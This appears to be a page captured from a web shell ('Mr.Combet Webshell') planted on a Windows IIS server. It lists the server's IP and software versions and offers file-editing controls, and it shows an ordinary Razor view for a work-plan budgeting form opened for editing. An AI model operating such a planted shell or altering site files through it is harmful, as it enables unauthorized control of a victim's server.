Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
mapqa
/
Views
/
WorkPlan
/
Edit File Name :
Create.cshtml
@model RER_Project.DataAccess.ViewModels.WorkPlan.WorkPlanViewModel <style> .months-form-group .col-md-1 { padding-right: 0 } .amount-form-group .col-md-1 { padding-right: 0px; } .btn { border-radius: 0px; } .planning { padding: 0px; } </style> @{ ViewBag.Title = "WorkPlan Create"; } <div class="wrapper wrapper-content animated fadeInRight"> <div class="row"> <div class="col-lg-12"> <div class="ibox float-e-margins"> <div class="ibox-content"> <label style="font-size: medium"><b>Create Annual WorkPlan For Fiscal Year: @Model.FiscalYear </b></label> <hr /> <form id="Create"> <div id="eror_msg"></div> <input type="hidden" id="FiscalYearId" name="FiscalYearId" value="@Model.FiscalYearId" /> <input type="hidden" id="FiscalYear" name="FiscalYear" value="@Model.FiscalYear" /> <input type="hidden" id="WorkPlanId" name="WorkPlanId" value="@Model.WorkPlanId" /> <div class="row"> <div class="form-group col-md-4"> <label><strong>Assigned to</strong></label> <select type="text" class="form-control required clear" name="AssignedTo" id="AssignedTo" data-api="/user-level-one/select"></select> </div> <div class="form-group col-md-4"> <label><strong>Component</strong></label> <select class="form-control required clear" id="ComponentId" name="ComponentId" data-api="/component/select"></select> </div> <div class="form-group col-md-4"> <label><strong>Sub Component</strong></label> <select class="form-control required clear" id="SubComponentId" name="SubComponentId" data-api="/sub-component/select" disabled=""></select> </div> </div> <div class="row"> <div class="form-group col-md-4"> <label><strong>Activities</strong></label> <select type="text" class="form-control required clear" id="ActivityId" name="ActivityId" data-api="/activity-by-category/select" disabled=""></select> </div> <div class="form-group col-md-4"> <label><strong>Planning Unit</strong></label> <select class="form-control required clear" id="Unit" name="Unit" data-api="/activity-target-unit/select"></select> </div> <div class="form-group col-md-4"> <label><strong>IFAD Loan</strong></label> <div class="inputWithIcon"> <input type="text" class="curr form-control currencyFormatter clear" onkeypress="return isNumberKey(this,event)" placeholder="IFADLoan" maxlength="12" id="IFADLoan" name="IFADLoan"> <span><strong>MVR</strong></span> </div> </div> <div class="form-group col-md-4"> <label><strong>IFAD Grant</strong></label> <div class="inputWithIcon"> <input type="text" class="curr form-control currencyFormatter clear" onkeypress="return isNumberKey(this,event)" placeholder="IFADGrant" maxlength="12" id="IFADGrant" name="IFADGrant"> <span><strong>MVR</strong></span> </div> </div> <div class="form-group col-md-4"> <label><strong>Gov Fund</strong></label> <div class="inputWithIcon"> <input type="text" class="curr form-control currencyFormatter clear" onkeypress="return isNumberKey(this,event)" placeholder="GovFund" maxlength="12" id="GovFund" name="GovFund"> <span><strong>MVR</strong></span> </div> </div> <div class="form-group col-md-4"> <label><strong>Planned Budget</strong></label> <div class="inputWithIcon"> <input type="text" class="curr form-control required currencyFormatter clear " onkeypress="return isNumberKey(this,event)" placeholder="PlannedBudget" maxlength="12" id="PlannedBudget" name="PlannedBudget" disabled=""> <span><strong>MVR</strong></span> </div> </div> </div> <div class="row"> @*<div class="form-group col-md-4"> <label><strong>Source of fund</strong></label> <select type="text" class="form-control required clear" id="sourcefund" name="sourcefund" data-api="/source-of-fund/select"></select> </div>*@ <div class="form-group col-md-4"> <label><strong>Category</strong></label> <select class="form-control required clear" id="category" name="category" data-api="/workplan-category/select"></select> </div> <div class="form-group col-md-4"> <label><strong>Activity Category</strong></label> <select type="text" class="form-control required" id="ActivityCategoryId" name="ActivityCategoryId" data-api="/event-category/select"></select> </div> <div class="form-group col-md-4"> <label><strong>Activity Type</strong></label> <select type="text" class="form-control required" id="ActivityType" name="ActivityType" data-api="/event-type/select"></select> </div> <div class="form-group col-md-4"> <label><strong>Activity Beneficiary Type</strong></label> <select type="text" class="form-control required" id="ActivityMemberType" name="ActivityMemberType" data-api="/event-member-type/select"></select> </div> @*<div class="form-group col-md-4"> <label><strong>Output Indicator</strong></label> <select type="text" class="form-control" id="OutputIndicator" name="OutputIndicator" data-api="/output-indicator/select"></select> </div>*@ <div class="form-group col-md-4"> <label><strong>Remaining Balance</strong></label> <input type="text" class="curr form-control currencyFormatter" onkeypress="return isNumberKey(this,event)" placeholder="RemainigBalance" maxlength="12" id="RemainingBalance" name="RemainingBalance"> </div> </div> <div class="row"> <div class="form-group col-md-12" style="margin-bottom:0px"> <label><strong>Planning Qty</strong></label> </div> <div class="row"> <div class="form-group col-md-8"> <div class="col-md-2"> <input type="text" class="curr form-control required clear" name="FirstQuaterQuantity" onkeypress="return isNumberKey(this,event)" maxlength="4" id="FirstQuaterQuantity" placeholder="1st Quater" /> </div> <div class="col-md-2"> <input type="text" class="curr form-control required clear" name="SecondQuaterQuantity" onkeypress="return isNumberKey(this,event)" maxlength="4" id="SecondQuaterQuantity" placeholder="2nd Quater" /> </div> <div class="col-md-2"> <input type="text" class="curr form-control required clear" name="ThirdQuaterQuantity" onkeypress="return isNumberKey(this,event)" maxlength="4" id="ThirdQuaterQuantity" placeholder="3rd Quater" /> </div> <div class="col-md-2"> <input type="text" class="curr form-control required clear" name="FourthQuaterQuantity" onkeypress="return isNumberKey(this,event)" maxlength="4" id="FourthQuaterQuantity" placeholder="4rd Quater" /> </div> </div> </div> <div class="form-group col-md-1"> <a onclick="addPlanningQty()" class="btn btn-sm btn-primary"><i class="fa fa-plus"></i> Add</a> </div> </div> <div class="row"> <div class="table-responsive" style="margin-top:16px;"> <table class="footable table table-hover" id="AnnualActivityPlaningTable"> <thead> <tr> <th>Assigned to</th> <th>Component</th> <th>SubComponent</th> <th>Activity</th> <th>Unit</th> <th>IFAD Loan</th> <th>IFAD Grant</th> <th>Gov Fund</th> <th>Planned Budget (MVR)</th> <th>Remaining Balance</th> <th>Category</th> <th>Activity Category</th> <th>Activity Type</th> <th>Activity Beneficiary Type</th> @*<th>Output Indicator</th>*@ <th>1st Quater</th> <th>2nd Quater</th> <th>3rd Quater</th> <th>4th Quater</th> <th>Action</th> </tr> </thead> <tbody> @foreach (var item in Model.WorkPlanLevelOneViewsList) { <tr> <td>@item.UserName<input type=hidden name='AssignedTo' id=AssignedId value="@item.AssignedTo" /></td> <td>@item.Component<input type=hidden name='ComponentId' value="@item.ComponentId" /></td> <td>@item.SubComponent<input type=hidden name='SubComponentId' value="@item.SubComponentId" /></td> <td>@item.Activity<input type=hidden name='ActivityId' id="ActivityId" value="@item.ActivityId" /></td> <td>@item.UnitName<input type=hidden name='PlanningUnitId' value="@item.UnitId"></td> <td>@String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}", Convert.ToDouble(item.IFADLoan))<input type=hidden name='IFADLoan' value="@item.IFADLoan"> </td> <td>@String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}", Convert.ToDouble(item.IFADGrant)) <input type=hidden name='IFADGrant' value="@item.IFADGrant"> </td> <td>@String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}", Convert.ToDouble(item.GovFund)) <input type=hidden name='GovFund' value="@item.GovFund"> </td> <td>@String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}", Convert.ToDouble(item.PlannedBudget)) <input type=hidden name='PlannedBudget' value="@item.PlannedBudget"> </td> <td>@String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}", Convert.ToDouble(item.remaining_balance)) <input type=hidden name='RemainingBalance' value="@item.remaining_balance"> </td> <td>@item.Category<input type=hidden name='Category' value="@item.CategoryId" /></td> <td>@item.active_categories_name<input type=hidden name='ActiveCategory' value="@item.activity_category_type_id" /></td> <td>@item.activity_type<input type=hidden name='ActiveTypes' value="@item.activity_type_id" /></td> <td>@item.activity_benificary_type<input type=hidden name='ActivebenificareyType' value="@item.activity_beneficiary_id" /></td> @*<td>@item.indicator_name<input type=hidden name='ActivebenificareyType' value="@item.output_indicator" /></td>*@ <td><input type="text" onkeypress="return isNumberKey(this,event)" maxlength="4" class="form-control" name="FirstQuaterQuantity" value="@item.FirstQuaterQuantity" /></td> <td><input type="text" onkeypress="return isNumberKey(this,event)" maxlength="4" class="form-control" name="SecondQuaterQuantity" value="@item.SecondQuaterQuantity" /></td> <td><input type="text" onkeypress="return isNumberKey(this,event)" maxlength="4" class="form-control" name="ThirdQuaterQuantity" value="@item.ThirdQuaterQuantity" /></td> <td><input type="text" onkeypress="return isNumberKey(this,event)" maxlength="4" class="form-control" name="FourthQuaterQuantity" value="@item.FourthQuaterQuantity" /></td> <td> <a onclick="deleteRow(this)" class="btn btn-default btn-xs deleteButton" title="Delete"><i class="fa fa-remove" style='color: red;'></i></a> </td> </tr> } </tbody> </table> </div> </div> <div class="row"> <div class="pull-right"> <input type="button" value="Save" class="btn btn-primary" id="SubmitButton" /> <a href="/workplan" class="btn btn-default">Back</a> </div> </div> </form> </div> </div> </div> </div> </div> <script type="text/javascript"> $(document).ready(function () { window.initializeSelectApis(); window.initializeCascadeComponent(); //calcSub(); }) var rawData = @Html.Raw(Json.Encode(Model.WorkPlanLevelOneViewsList)); console.log(rawData); var dataList = []; var selectedDataIndex = -1; if (rawData) { if (rawData.length > 0) { dataList = rawData; } } var fiscalyear = $("#FiscalYearId").val(); var workplanId = $("#WorkPlanId").val(); var fyname = $("#FiscalYear").val(); var projectId = $("#ProjectId").val(); function checkIfExist(activity, unit, el) { var exists = false; el.find("tr").each(function () { var activityId = $(this).find("input[name='ActivityId']").val(); var unitId = $(this).find("input[name='Unit']").val(); var activitydropdownTypeId = activity.val(); var unitdropdownId = unit.val(); if (activityId === activitydropdownTypeId && unitId === unitdropdownId) { exists = true; return; } }); return exists; } function addPlanningQty() { const form = $("#Create"); /*Validating duplicate data */ var formData = { AssignedTo: document.querySelector("#AssignedTo").value, ActivityId: document.querySelector("#ActivityId").value } console.log(formData); const model = window.serializeForm(form); debugger; var index = dataList.findIndex(x => x.AssignedTo == formData.AssignedTo && x.ActivityId == formData.ActivityId); if (index != selectedDataIndex && index > -1) { ShowMessage("error", "The selected Activity is already assigned to the user."); return false; } /*Validating duplicate data ------------------*/ var table = $('#AnnualActivityPlaningTable tbody'); const activity = $("#ActivityId option:selected"); const activityCategory = $("#ActivityCategoryId option:selected"); const subComponent = $("#SubComponentId option:selected"); const component = $("#ComponentId option:selected"); const ifadloan = $("#IFADLoan").val(); const ifadgrant = $("#IFADGrant").val(); const govfund = $("#GovFund").val(); const plannedbudget = $("#PlannedBudget").val() debugger; const category = $("#category option:selected"); const planningUnit = $("#Unit option:selected"); const assigned = $("#AssignedTo option:selected"); debugger; @*const outputindicator = $("#OutputIndicator option:selected");*@ var remainingbalance = $("#RemainingBalance").val(); const activitymember = $("#ActivityMemberType option:selected"); const activitytype = $("#ActivityType option:selected"); const activitycategoryid = $("#ActivityCategoryId option:selected"); $.validator.unobtrusive.parse(form); if (!form.valid()) { return false; } if (!window.confirmAction()) { return; }; if (checkIfExist(activity, planningUnit, table)) { ShowMessage("error", "The selected activity already exists."); return false; }; var f = document.getElementById("FirstQuaterQuantity").value; var s = document.getElementById("SecondQuaterQuantity").value; var t = document.getElementById("ThirdQuaterQuantity").value; var v = document.getElementById("FourthQuaterQuantity").value; var row = "<tr>"; row += "<td>" + assigned.text() + "<input type=hidden name='AssignedTo' value=" + assigned.val() + "></td>"; row += "<td>" + component.text() + "<input type=hidden name='ComponentId' value=" + component.val() + "></td>"; row += "<td>" + subComponent.text() + "<input type=hidden name='SubComponentId' value=" + subComponent.val() + "></td>"; row += "<td> " + activity.text() + "<input type=hidden name='ActivityId' value=" + activity.val() + "></td > "; row += "<td>" + planningUnit.text() + "<input type=hidden name='Unit' value=" + planningUnit.val() + "></td>"; row += "<td>" + ifadloan + "<input type=hidden name='IFADLoan' value=" + ifadloan + "></td>"; row += "<td>" + ifadgrant + "<input type=hidden name='IFADGrant' value=" + ifadgrant + "></td>"; row += "<td>" + govfund + "<input type=hidden name='GovFund' value=" + govfund + "></td>"; row += "<td>" + plannedbudget + "<input type=hidden name='PlannedBudget' value=" + plannedbudget + "></td>"; row += "<td>" + remainingbalance + "<input type=hidden name='PlannedBudget' value=" + remainingbalance + "></td>"; row += "<td>" + category.text() + "<input type=hidden name='category' value=" + category.val() + "></td>"; row += "<td>" + activitycategoryid.text() + "<input type=hidden name='category' value=" + activitycategoryid.val() + "></td>"; row += "<td>" + activitytype.text() + "<input type=hidden name='category' value=" + activitytype.val() + "></td>"; row += "<td>" + activitymember.text() + "<input type=hidden name='category' value=" + activitymember.val() + "></td>"; @*row += "<td>" + outputindicator.text() + "<input type=hidden name='category' value=" + outputindicator.val() + "></td>";*@ row += "<td><input type='text' name='FirstQuaterQuantity' class='form-control' value='" + f + "' /> </td>"; row += "<td><input type='text' name='SecondQuaterQuantity' class='form-control' value='" + s + "' /></td>" row += "<td><input type='text' name='ThirdQuaterQuantity' class='form-control' value='" + t + "' /></td>" row += "<td><input type='text' name='FourthQuaterQuantity' class='form-control' value='" + v + "' /></td>" row += "<td><a class='btn btn-default btn-xs' onclick='deleteRow(this)' title='Delete'><i class='fa fa-remove' style='color: red;'></i></a></td>" $(row).prependTo("table > tbody"); // $(row).insertBefore('table > tbody > tr:first'); // table.append(row); clearAll(); } function confirmDeleteAction(message) { return window.confirm(message); } var levelTwoFilterList = []; function deleteRow(e) { /* if (!window.confirmAction()) { return; };*/ if (!confirmDeleteAction("By deleting this task, the subtasks under it are also removed.Are you sure you want to proceed?")) { return; } debugger; var row = $(e).closest('tr'); var activityId = row.find('#ActivityId').val(); var assigned = row.find('#AssignedId').val(); $(e).closest("tr").remove(); levelTwoFilterList.push({ ActivityId: activityId, FiscalYear: fiscalyear, AssignedTo: assigned }); return levelTwoFilterList; }; function clearAll() { $('.clear').val(''); } function annualActivityPlanningList() { debugger; var annualActivityPlanninglist = []; $("#AnnualActivityPlaningTable tbody tr").each(function () { debugger; const assigned = $(this).find("td:eq(0)").find("input[type='hidden']").val(); const componentId = $(this).find("td:eq(1)").find("input[type='hidden']").val(); const subcomponentId = $(this).find("td:eq(2)").find("input[type='hidden']").val(); const activityId = $(this).find("td:eq(3)").find("input[type='hidden']").val(); const unit = $(this).find("td:eq(4)").find("input[type='hidden']").val(); var ifadloan = $(this).find("td:eq(5)").find("input[type='hidden']").val(); var ifadgrant = $(this).find("td:eq(6)").find("input[type='hidden']").val(); var govfund = $(this).find("td:eq(7)").find("input[type='hidden']").val(); var plannedBudget = $(this).find("td:eq(8)").find("input[type='hidden']").val(); var remainingbalance = $(this).find("td:eq(9)").find("input[type='hidden']").val(); const category = $(this).find("td:eq(10)").find("input[type='hidden']").val(); const activitycategoryid = $(this).find("td:eq(11)").find("input[type='hidden']").val(); const activitytype = $(this).find("td:eq(12)").find("input[type='hidden']").val(); const activitymember = $(this).find("td:eq(13)").find("input[type='hidden']").val(); @*const outputindicator = $(this).find("td:eq(14)").find("input[type='hidden']").val();*@ debugger; const first = $(this).find("td:eq(14)").find("input[type='text']").val(); const second = $(this).find("td:eq(15)").find("input[type='text']").val(); const third = $(this).find("td:eq(16)").find("input[type='text']").val(); const fourth = $(this).find("td:eq(17)").find("input[type='text']").val(); ifadloan = removeCommaFromString(ifadloan); ifadgrant = removeCommaFromString(ifadgrant); govfund = removeCommaFromString(govfund); plannedBudget = removeCommaFromString(plannedBudget); remainingbalance = removeCommaFromString(remainingbalance); debugger; annualActivityPlanninglist.push({ ComponentId: componentId, SubComponentId: subcomponentId, ActivityId: activityId, IFADLoan: ifadloan, IFADGrant: ifadgrant, GovFund: govfund, PlannedBudget: plannedBudget, FirstQuaterQuantity: first, SecondQuaterQuantity: second, ThirdQuaterQuantity: third, FourthQuaterQuantity: fourth, FiscalYearId: fiscalyear, UnitId: unit, AssignedTo: assigned, WorkPlanId: workplanId, @*SourceFund: sourcefund,*@ Category: category, @* output_indicator: outputindicator,*@ activity_beneficiary_id: activitymember, activity_type_id: activitytype, activity_category_type_id: activitycategoryid, remaining_balance: remainingbalance }); }); return annualActivityPlanninglist; } /* function levelTwoFilterList() { debugger; var levelTwoFilterList = []; $("#AnnualActivityPlaningTable tbody tr").each(function () { const assigned = $(this).find("td:eq(0)").find("input[type='hidden']").val(); const activityId = $(this).find("td:eq(3)").find("input[type='hidden']").val(); levelTwoFilterList.push({ ActivityId: activityId, FiscalYear: fiscalyear, AssignedTo: assigned }); }); return levelTwoFilterList; }*/ $("#SubmitButton").off("click").on("click", function () { function request(model) { const url = "/workplan/create"; const data = JSON.stringify(model); return window.getAjaxRequest(url, "POST", data); } if (!window.confirmAction()) { return; }; debugger; WorkForce.loader.show(); function getModel() { debugger return ({ WorkPlanLevelOnes: annualActivityPlanningList(), WorkplanFilters: levelTwoFilterList, FiscalYearId: fiscalyear, FiscalYear: fyname, WorkPlanId: workplanId }); }; const model = getModel(); const ajax = request(model); ajax.done(function (response) { WorkForce.loader.hide(); showNotification("success"); window.location = "/workplan"; }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); }); }); /* $("#AnnualActivityPlaningTable").on("click", ".deleteButton", function () { if (!window.confirmAction()) { return; } var row = $(this).closest("tr"); $(e).closest("tr").remove(); });*/ function isNumberKey(element, evt) { var charCode = (evt.which) ? evt.which : event.keyCode if (charCode > 31 && (charCode < 48 || charCode > 57) && !(charCode == 46 || charCode == 8)) return false; else { var len = $(element).val().length; var index = $(element).val().indexOf('.'); if (index > 0 && charCode == 46) { return false; } if (index > 0) { var CharAfterdot = (len + 1) - index; if (CharAfterdot > 3) { return false; } } } return true; } function getNumberWithComma(value) { value = value || 0 return Number(parseFloat(value).toFixed(2)).toLocaleString("en-IN", { minimumFractionDigits: 0 }) } function removeCommaFromString(value) { var result = parseFloat(value.replace(/,/g, '')); if (isNaN(result)) { return 0; } else { return result; } } $("#IFADLoan").bind("change paste keyup", function () { var ifadloan = removeCommaFromString($("#IFADLoan").val()); var ifadgrant = removeCommaFromString($("#IFADGrant").val()); var govfund = removeCommaFromString($("#GovFund").val()); var result = parseFloat(ifadloan) + parseFloat(ifadgrant) + parseFloat(govfund); debugger; $('#PlannedBudget').val(getNumberWithComma(result)) //need to check this; }); $("#IFADGrant").bind("change paste keyup", function () { var ifadloan = removeCommaFromString($("#IFADLoan").val()); var ifadgrant = removeCommaFromString($("#IFADGrant").val()); var govfund = removeCommaFromString($("#GovFund").val()); var result = parseFloat(ifadloan) + parseFloat(ifadgrant) + parseFloat(govfund); debugger; $('#PlannedBudget').val(getNumberWithComma(result)) //need to check this; }); $("#GovFund").bind("change paste keyup", function () { var ifadloan = removeCommaFromString($("#IFADLoan").val()); var ifadgrant = removeCommaFromString($("#IFADGrant").val()); var govfund = removeCommaFromString($("#GovFund").val()); var result = parseFloat(ifadloan) + parseFloat(ifadgrant) + parseFloat(govfund); debugger; $('#PlannedBudget').val(getNumberWithComma(result)) //need to check this; }); $('#ActivityId').change(function () { debugger; function request(model) { const url = "/RemainigBalance"; const data = JSON.stringify(model); return window.getAjaxRequest(url, "POST", data); } let activity = $(this).val(); let fiscalYear = $("#FiscalYearId").val(); let remainingbalance = document.querySelector("#RemainingBalance"); function getModel() { return ({ fiscalYear: fiscalYear, activityId: activity }); }; const model = getModel(); const ajax = request(model) ajax.done(function (response) { debugger; console.log(response); remainingbalance.value = response; }); @*ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); });*@ }); </script>
Save